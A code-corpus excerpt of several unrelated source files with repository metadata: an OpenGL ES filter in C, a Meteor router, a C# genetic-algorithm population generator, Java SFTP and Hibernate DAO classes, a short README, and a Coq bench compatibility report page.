(struct ogles_preview_filter *filter, GLuint *texture, struct ogles_eye *ogles_eye)
{
if (ogles_eye->camera.eye_type != EyeTypeLeft)
{
*texture = filter->base.fbo->rendertexture;
}
}
ogles_filter_use_program(preview)
(struct ogles_preview_filter *filter)
{
glUseProgram(filter->base.program);
}
ogles_filter_register_handle(preview)
(struct ogles_preview_filter *filter)
{
// Uniforms
filter->uniforms.uMVPMatrix.location = glGetUniformLocation(filter->base.program, filter->uniforms.uMVPMatrix.name);
if (filter->uniforms.uMVPMatrix.location == -1) { LOGE("could not get uniform location for %s", filter->uniforms.uMVPMatrix.name); }
filter->uniforms.uSTMatrix.location = glGetUniformLocation(filter->base.program, filter->uniforms.uSTMatrix.name);
if (filter->uniforms.uSTMatrix.location == -1) { LOGE("could not get uniform location for %s", filter->uniforms.uSTMatrix.name); }
filter->uniforms.uTexture.location = glGetUniformLocation(filter->base.program, filter->uniforms.uTexture.name);
if (filter->uniforms.uTexture.location == -1) { LOGE("could not get uniform location for %s", filter->uniforms.uTexture.name); }
filter->uniforms.uAspect.location = glGetUniformLocation(filter->base.program, filter->uniforms.uAspect.name);
if (filter->uniforms.uAspect.location == -1) { LOGE("could not get uniform location for %s", filter->uniforms.uAspect.name); }
// Attributes
filter->attributes.aPosition.location = glGetAttribLocation(filter->base.program, filter->attributes.aPosition.name);
if (filter->attributes.aPosition.location == -1) { LOGE("could not get attribute location for %s", filter->attributes.aPosition.name); }
filter->attributes.aTextureCoord.location = glGetAttribLocation(filter->base.program, filter->attributes.aTextureCoord.name);
if (filter->attributes.aTextureCoord.location == -1) { LOGE("could not get attribute location for %s", filter->attributes.aTextureCoord.name); }
}
|
heitaoflower/exoplayer-graphics
|
library/core/src/main/cpp/graphics/ogles/ogles_preview_filter.c
|
C
|
mit
| 6,874
|
node-hashmap
============
Provides a native hashmap implementation for node.
|
inolen/node-hashmap
|
README.md
|
Markdown
|
mit
| 78
|
package com.afforess.sftp.sync.exception;
public class SFTPConnectionException extends SFTPException{
private static final long serialVersionUID = 1L;
public SFTPConnectionException(String message, Throwable cause) {
super(message, cause);
}
}
|
Afforess/sftp-sync
|
src/main/java/com/afforess/sftp/sync/exception/SFTPConnectionException.java
|
Java
|
mit
| 251
|
Router.configure({
layoutTemplate: 'applicationLayout',
loadingTemplate: 'loading',
notFoundTemplate: 'notFound'
});
Router.route('/', {name: 'home'});
Router.route('/discover', {name: 'discover'});
Router.route('/support', {name: 'support'});
Router.route('/signup', {name: 'signup'});
Router.route('/about', {name: 'about'});
Router.route('/terms', {name: 'terms'});
Router.route('/privacy', {name: 'privacy'});
Router.route('/admin/user/:_id', {
name: 'userPage',
layoutTemplate: 'adminLayout',
waitOn: function() {
return Meteor.subscribe('singleUser', this.params._id);
},
data: function() {
return Meteor.users.findOne(this.params._id);
}
});
Router.route('/admin/sub2', {
name: 'sub2',
layoutTemplate: 'adminLayout'
});
Router.route('/admin/users/:usersLimit?', {
name: 'usersList',
controller: 'adminController'
});
adminController = RouteController.extend({
layoutTemplate: 'adminLayout',
increment: 5,
searchAdmin: function() {
return this.params.query.admin || 'false';
},
searchField: function() {
return this.params.query.field || 'user';
},
searchString: function() {
return this.params.query.search;
},
usersLimit: function() {
return parseInt(this.params.usersLimit) || this.increment;
},
subscriptions: function() {
this.usersSub = Meteor.subscribe('users', makeQuery(this.searchString(), this.searchField(), this.searchAdmin()), this.usersLimit());
},
userItems: function() {
return Meteor.users.find({}, {limit: this.usersLimit()});
},
data: function() {
var hasMore = this.userItems().count() === this.usersLimit();
if (this.searchString()) {
var nextPath = this.route.path({usersLimit: this.usersLimit() + this.increment}, {query: 'search=' + this.searchString() + '&field=' + this.searchField() + '&admin=' + this.searchAdmin()});
} else {
var nextPath = this.route.path({usersLimit: this.usersLimit() + this.increment});
}
return {
userItems: this.userItems(),
ready: this.usersSub.ready,
nextPath: hasMore ? nextPath : null
};
}
});
var requireLogin = function() {
if (! Meteor.user()) {
if (Meteor.loggingIn()) {
this.render(this.loadingTemplate);
} else {
this.render('accessDenied');
}
} else {
this.next();
}
}
var requireAdmin = function() {
var user = Meteor.user();
if ((!user) || (!Roles.userIsInRole(user, ['admin']))) {
this.render('accessDeniedAdmin');
} else {
this.next();
}
}
Router.onBeforeAction(requireAdmin, {only: 'usersList'});
Router.onBeforeAction(requireAdmin, {only: 'userPage'});
|
exyzzy/meteoryte
|
lib/router.js
|
JavaScript
|
mit
| 2,662
|
using System;
using System.Collections.Generic;
namespace GAPrototype
{
public class PopulationGenerator
{
private Chromosome[] Population;
private int popSize;
private int chromosomeLength;
private Random R;
public int ChromosomeLength {
get {
return this.chromosomeLength;
}
set {
chromosomeLength = value;
}
}
public int PopSize {
get {
return this.popSize;
}
set {
popSize = value;
}
}
public PopulationGenerator (int popSize, int chromosomeLength)
{
PopSize = popSize;
ChromosomeLength = chromosomeLength;
}
public Chromosome[] GeneratePopulation()
{
Population = new Chromosome[popSize];
char[] values = new char[ChromosomeLength];;
R = new Random();
for(int i = 0; i<popSize; i++)
{
values = new char[ChromosomeLength];
for (int j = 0; j < ChromosomeLength; j++)
{
values[j] = GenerateValue();
}
Population[i] = new Chromosome(values);
}
return Population;
}
private char GenerateValue()
{
int val = R.Next(1, 27);
switch (val)
{
case 1: return 'a';
case 2: return 'b';
case 3: return 'c';
case 4: return 'd';
case 5: return 'e';
case 6: return 'f';
case 7: return 'g';
case 8: return 'h';
case 9: return 'i';
case 10: return 'j';
case 11: return 'k';
case 12: return 'l';
case 13: return 'm';
case 14: return 'n';
case 15: return 'o';
case 16: return 'p';
case 17: return 'q';
case 18: return 'r';
case 19: return 's';
case 20: return 't';
case 21: return 'u';
case 22: return 'v';
case 23: return 'w';
case 24: return 'x';
case 25: return 'y';
case 26: return 'z';
}
throw new Exception();
}
}
}
|
keym/Monoalphabetic-Cipher-Solving-Genetic-Algorithm
|
Code/Pre-alpha/GAPrototype/GAPrototype/PopulationGeneration.cs
|
C#
|
mit
| 2,280
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>idxassoc: Not compatible 👼</title>
<link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" />
<link href="../../../../../bootstrap.min.css" rel="stylesheet">
<link href="../../../../../bootstrap-custom.css" rel="stylesheet">
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
<script src="../../../../../moment.min.js"></script>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div class="container">
<div class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li><a href="../..">clean / released</a></li>
<li class="active"><a href="">8.10.0 / idxassoc - 8.5.0</a></li>
</ul>
</div>
</div>
</div>
<div class="article">
<div class="row">
<div class="col-md-12">
<a href="../..">« Up</a>
<h1>
idxassoc
<small>
8.5.0
<span class="label label-info">Not compatible 👼</span>
</small>
</h1>
<p>📅 <em><script>document.write(moment("2021-12-31 19:49:08 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2021-12-31 19:49:08 UTC)</em><p>
<h2>Context</h2>
<pre># Packages matching: installed
# Name # Installed # Synopsis
base-bigarray base
base-threads base
base-unix base
conf-findutils 1 Virtual package relying on findutils
coq 8.10.0 Formal proof management system
num 1.4 The legacy Num library for arbitrary-precision integer and rational arithmetic
ocaml 4.09.1 The OCaml compiler (virtual package)
ocaml-base-compiler 4.09.1 Official release 4.09.1
ocaml-config 1 OCaml Switch Configuration
ocamlfind 1.9.1 A library manager for OCaml
# opam file:
opam-version: "2.0"
maintainer: "matej.kosik@inria.fr"
homepage: "https://github.com/coq-contribs/idxassoc"
license: "BSD with advertising clause"
build: [make "-j%{jobs}%"]
install: [make "install"]
remove: ["rm" "-R" "%{lib}%/coq/user-contrib/IdxAssoc"]
depends: [
"ocaml"
"coq" {>= "8.5" & < "8.6~"}
]
tags: [ "keyword:associative arrays" "keyword:search operator" "keyword:data structures" "category:Computer Science/Data Types and Data Structures" "date:2001-04" ]
authors: [ "Dominique Quatravaux <>" "Gérald Macinenti <>" "François-René Ridaux <>" ]
bug-reports: "https://github.com/coq-contribs/idxassoc/issues"
dev-repo: "git+https://github.com/coq-contribs/idxassoc.git"
synopsis: "Associative Arrays"
description: """
We define the associative array (key -> value associations)
datatype as list of couples, providing definitions of standards
operations such as adding, deleting.
We introduce predicates for membership of a key and of couples.
Finally we define a search operator ("find") which returns the
value associated with a key or the "none" option (see file
Option.v which should be part of this contribution) on failure.
Lemmas we prove about these concepts were motivated by our needs
at the moment we created this file. We hope they'll suit your
needs too but anyway, feel free to communicate any wish or
remark."""
flags: light-uninstall
url {
src: "https://github.com/coq-contribs/idxassoc/archive/v8.5.0.tar.gz"
checksum: "md5=4ba65dcf6f3a74cfb6a9a4c91c65de54"
}
</pre>
<h2>Lint</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Dry install 🏜️</h2>
<p>Dry install with the current Coq version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam install -y --show-action coq-idxassoc.8.5.0 coq.8.10.0</code></dd>
<dt>Return code</dt>
<dd>5120</dd>
<dt>Output</dt>
<dd><pre>[NOTE] Package coq is already installed (current version is 8.10.0).
The following dependencies couldn't be met:
- coq-idxassoc -> coq < 8.6~ -> ocaml < 4.06.0
base of this switch (use `--unlock-base' to force)
No solution found, exiting
</pre></dd>
</dl>
<p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-idxassoc.8.5.0</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Install dependencies</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Install 🚀</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Installation size</h2>
<p>No files were installed.</p>
<h2>Uninstall 🧹</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Missing removes</dt>
<dd>
none
</dd>
<dt>Wrong removes</dt>
<dd>
none
</dd>
</dl>
</div>
</div>
</div>
<hr/>
<div class="footer">
<p class="text-center">
Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣
</p>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="../../../../../bootstrap.min.js"></script>
</body>
</html>
|
coq-bench/coq-bench.github.io
|
clean/Linux-x86_64-4.09.1-2.0.6/released/8.10.0/idxassoc/8.5.0.html
|
HTML
|
mit
| 7,398
|
/**
* CloudMapping - Sistema de Extração de Dados de Mapeamento dos Experimentos em Computação em Nuvem
*
* Copyright (c) AssertLab.
*
* Este software é confidencial e propriedade da AssertLab. Não é permitida sua distribuição ou divulgação
* do seu conteúdo sem expressa autorização do AssertLab. Este arquivo contém informações proprietárias.
*/
package br.ufpe.cin.cloud.mapeamento.negocio.extracaodados.dao;
import java.util.List;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.hibernate.Criteria;
import org.hibernate.criterion.DetachedCriteria;
import org.hibernate.criterion.Restrictions;
import org.springframework.stereotype.Repository;
import br.ufpe.cin.cloud.mapeamento.negocio.base.camadas.AbstractDAO;
import br.ufpe.cin.cloud.mapeamento.negocio.extracaodados.entidade.SelecaoEstudo;
/**
* Representa a implementação da camada de dados da entidade {@link SelecaoEstudo}.
*
* @author helaine.lins
* @created 28/08/2014 - 15:16:04
*/
@Repository(value = "selecaoEstudoDAO")
public class SelecaoEstudoDAO extends AbstractDAO<SelecaoEstudo> implements ISelecaoEstudoDAO {
/**
* Representa o mecanismo de log da classe.
*/
protected static Log LOG = LogFactory.getLog(SelecaoEstudoDAO.class);
/**
* {@inheritDoc}.
*
* @see br.ufpe.cin.cloud.mapeamento.negocio.base.camadas.AbstractDAO#getLog()
*/
@Override
public Log getLog() {
return LOG;
}
/**
* {@inheritDoc}.
*
* @see br.ufpe.cin.cloud.mapeamento.negocio.extracaodados.dao.ISelecaoEstudoDAO#existeSelecaoEstudo(java.lang.Long)
*/
@SuppressWarnings("unchecked")
@Override
public boolean existeSelecaoEstudo(Long idSelecao) {
boolean existe = false;
try {
DetachedCriteria criteria = DetachedCriteria.forClass(SelecaoEstudo.class, "selecao");
criteria.add(Restrictions.eq("selecao.id", idSelecao));
Criteria executableCriteria = criteria.getExecutableCriteria(this.getSession());
List<SelecaoEstudo> resultado = executableCriteria.list();
if (resultado != null && !resultado.isEmpty()) {
existe = true;
}
} catch (Throwable e) {
this.tratarErroPersistencia(e, "existe selecao estudo");
}
return existe;
}
}
|
assertlab/extractviewer_project
|
mapping-application-web/src/main/java/br/ufpe/cin/cloud/mapeamento/negocio/extracaodados/dao/SelecaoEstudoDAO.java
|
Java
|
mit
| 2,412
|